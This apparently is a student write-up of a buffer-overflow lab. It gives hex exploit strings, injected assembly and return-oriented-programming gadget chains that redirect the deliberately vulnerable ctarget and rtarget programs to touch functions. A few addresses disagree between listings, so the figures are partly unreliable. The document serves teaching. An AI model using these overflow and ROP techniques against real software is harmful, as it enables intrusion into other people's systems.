1 Part 1: Code injection

1.1 Level 1

Solution Custom function Get() used by the function getbuf(), shown on listing 1 doesn't implement any validation for the input string length.

```
1  unsigned getbuf()
2  {
3      char buf[BUFFER_SIZE];
4      Get(buf);
5      return 1;
6  }
```

Listing 1: Getbuf

To call function touch1() we can enter a random string with the length equal to the buffer limit plus eight additional bytes equal to the address of function touch1(). Thus, we will overwrite the return address of the caller function test(). Then during the execution of the **ret** instruction, it will be popped from the stack and set as the next instruction address. To set the exploit string the following data was extracted from the ctarget dump:

1. touch1() address = 0x4017c0
2. BUFFER_SIZE = 40

Therefore the possible exploit string in hexadecimal format is shown on 2:

```
1  30 30 30 30 30 30 30 30 30 30   /* random sequence of 40 char */
2  30 30 30 30 30 30 30 30 30 30
3  30 30 30 30 30 30 30 30 30 30
4  30 30 30 30 30 30 30 30 30 30
5  c0 17 40 00 00 00 00 00         /* little-endian 64-bit 0x4017c0 */
```

Listing 2: Exploit String One

1.2 Level 2

Solution We have to call touch2() with a new exploit string. We continue to use vulnerability of getbuf(). But also we have to add cookie argument to touch2(). Therefore, we need to pass its value to RDI register before touch2() execution. For that purpose we will create an injection code with following parameters:

1. cookie = 0x59b997fa
2. touch2() address = 0x4017ec

Injection code shown on 3

```
1    # injection code
2    mov   $0x59b997fa,%rdi  # set cookie as touch2() argument
3    pushq $0x4017ec         # push touch2() address into stack
4    ret                     # return to touch2() address from stack
```

Listing 3: Phase 1 Level 2 Injection Code

Now we need to create an injection string. First part of the string will contain bytes of injection code from 3. After that we push sequence of empty bytes to fill getbuf() buffer (See Level 1). And at last place address of the first byte in the buffer, which points at the first injected instruction. Because ctarget uses constant addresses, we can get the first byte of the buffer from the program dump = 0x5561dc78.
Resulted hexadecimal representation of the injection string shown on listing 4.

```
1  48 c7 c7 fa 97 b9 59            /* mov    $0x59b997fa,%rdi */
2  68 ec 17 40 00                  /* pushq  $0x4017ec */
3  c3                              /* retq */
4  00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00 00 00
6  00 00 00 00 00 00 00 00 00 00   /* random bits to fill 40 byte buffer */
7  78 dc 61 55 00 00 00 00         /* address of the injected mov command */
```

Listing 4: Exploit String Two

1.3 Level 3

Solution This task is similar to Level 2. The key differences are: firstly, a function touch3() instead of touch2(), lastly argument for touch3() is a char array of cookie converted to string, instead of int value.
To update the injection string for the call of touch3(), we will simply replace pushed address on line 3 of listing 3 with a new one.
Moving to the new argument for function, we will append to the end of the exploit string byte representation of cookie string. Since we cannot insert this array right after the injection code, because this memory span will be overwritten by subsequent calls of another functions. Also, we have to update **mov** instruction with address of first char in the array.
All new values required for the exploit string are listed below:

1. touch3() address = 0x4018fa
2. cookie char[] **hex** = 35 39 62 39 39 37 66 61 00
3. *cookieString = 0x5561cda8

Updated injection code is shown on listing 5

```
1  # injection code
2  mov   $0x5561dca8,%rdi   # set cookie string as touch3() argument
3  pushq $0x4018fa          # push address of touch3() into stack
4  ret                      # return to touch3() address from stack
```

Listing 5: Phase 1 Level 3 Injection Code

Final version of exploit string depicted on listing 6

```
1  48 c7 c7 a8 dc 61 55            /* mov    $0x5561dc8b,%rdi */
2  68 fa 18 40 00                  /* pushq  $0x4018fa */
3  c3                              /* retq */
4  00 00 00 00 00 00 00
5  00 00 00 00 00 00 00 00 00 00
6  00 00 00 00 00 00 00 00 00 00   /* random bits to fill 40 byte buffer */
7  78 dc 61 55 00 00 00 00         /* address of the injected mov command */
8  35 39 62 39 39 37 66 61 00      /* cookie string */
```

Listing 6: Exploit String Three

2 Part 2 Return Oriented Programming

2.1 Level 1

Solution We need to create an exploit string that repeat actions from 1.2. Except for now, we can only use return oriented programming. For that purpose, we will use the logic from injection code 3.
After reading through dump of rtarget executable. We found the following parts of the code 7 and 8, from which we will create our gadgets.

```
1  00000000004019ca <getval_280>:
2    4019ca: b8 29 58 90 c3        mov    $0xc3905829,%eax
3    4019cf: c3                    ret
```

Listing 7: Code Block For Gadget 1

```
1  00000000004019a0 <addval_273>:
2    4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
3    4019a6: c3
```

Listing 8: Code Block For Gadget 2

From block for the first gadget on listing 7 we see the last 3 bytes of command on line 2 equal to 58 90 c3. That sequence can be interpreted as following instructions:

```
1  58 # pop %rax
2  90 # nop
3  c3 # ret
```

Listing 9: Gadget 1

The same way we can interpret the last 4 bytes on line 2 from block on listing 10

```
1  48 89 c7 # mov %rax,%rdi
2  c3       # ret
```

Listing 10: Gadget 2

Combining these two gadgets we see that the logic of them is the same as logic on the injection code from 3. Summing up all together we will create the injection string shown on listing 11

```
1  00 00 00 00 00 00 00 00 00 00
2  00 00 00 00 00 00 00 00 00 00
3  00 00 00 00 00 00 00 00 00 00
4  00 00 00 00 00 00 00 00 00 00  /* random bits to fill the 40 bytes buffer */
5  cc 19 40 00 00 00 00 00        /* address of the gadget 1 */
6  fa 97 b9 59 00 00 00 00        /* cookike value */
7  a2 19 40 00 00 00 00 00        /* address of the gadget 2 */
8  ec 17 40 00 00 00 00 00        /* address of the touch2() */
```

Listing 11: Exploit String Four